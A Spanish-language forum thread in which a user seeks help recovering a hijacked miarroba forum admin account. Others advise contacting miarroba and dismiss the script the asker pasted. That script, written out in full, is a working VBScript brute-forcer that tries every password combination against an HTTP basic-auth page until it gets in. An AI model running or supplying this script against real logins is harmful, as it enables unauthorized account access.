Ayuda xfavor

[xopito]

holass necesito ayuda plz: a un amigo alguien le ha robado el pass del admin de un foro de miarroba, y aora el q lo haya hecho esta baneando a usuarios y cambiando el foro a su gusto :S. me podrias decir como puedo recuperar el password plz? muxas asias

PD:el intruso tb a cambiado el email del admin, xq lo q no se puede pedir q le envien la contraseña al original :s

[TseTse]

¿Qué tal si le comentas el problema a los responsables de miarroba?

Seria mucho más fácil.

TseTse

[xopito]

ya se lo comentamos pero han respondido q no pueden hacer nada... xfavor es urgente cada vez cambia mas cosas y elimina otras tantas...

[xopito]

x internet encontre esto, me podrias decir donde hay q ponerlo para q lo haga xfavor:

option explicit
Dim PWDVal, oHTTP,c,R

' **** Modify these two lines ****
Const URL="http://myhost/mypage.html"
const UIDVal="MYLOGIN"

'*** and this line if you want to speed up
Const Alphabet="ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789/*-+&#$_"

'Restart in console mode to display logs
If Right(ucase(wscript.FullName),11)="WSCRIPT.EXE" then
WScript.CreateObject("WScript.Shell").Run "cscript.exe " & wscript.ScriptFullName,1
wscript.quit
End If

Set oHTTP=Wscript.CreateObject("Microsoft.XMLHTTP")

PWDVal = Left(Alphabet,1)
Dim x
x=0
Do while OpenURL=401 'Permission denied
x=(x+1) Mod 80
'Avoid displaying all : for speed
If x=0 Then wscript.echo Now & " " & PWDVal

c=Right(Alphabet,1)
R=""
Do While (Right(PWDVal,1)=c) And (PWDVal<>"")
If PWDVal=c Then
PWDVal=""
R=R & Left(Alphabet,1)
Else
PWDVal=Left(PWDVal,Len(PWDVAL)-1)
End If
R=R & Left(Alphabet,1)
Loop
If PWDVal<>"" then
PWDVal=Left(PWDVal,Len(PWDVAL)-1) & Mid(Alphabet,Instr(Alphabet,Right(PWDVal,1))+1,1)
End If
PWDVal=PWDVal & R
Loop
wscript.Echo oHTTP.getAllResponseHeaders
WScript.Echo "status : " & OpenURL & " - pwd=" & PWDVal

Function OpenURL()
oHTTP.Open "GET",URL,False,UIDVal,PWDVal
oHTTP.Send
OpenURL=oHTTP.status
End Function



gracias

[diarrea]

Eso es un script escrito en VScript y no te va a servir para nada de lo que quieres. Si los de mi@ te dijeron que no pueden hacer nada (cosa rara) ólvidate de poder recuperar el foro.

[xopito]

ok asias de todos modos, el tio ya ha borrado todo excepto 3 posts en los q se le pone a parir... pero weno siempre se puede hacer otro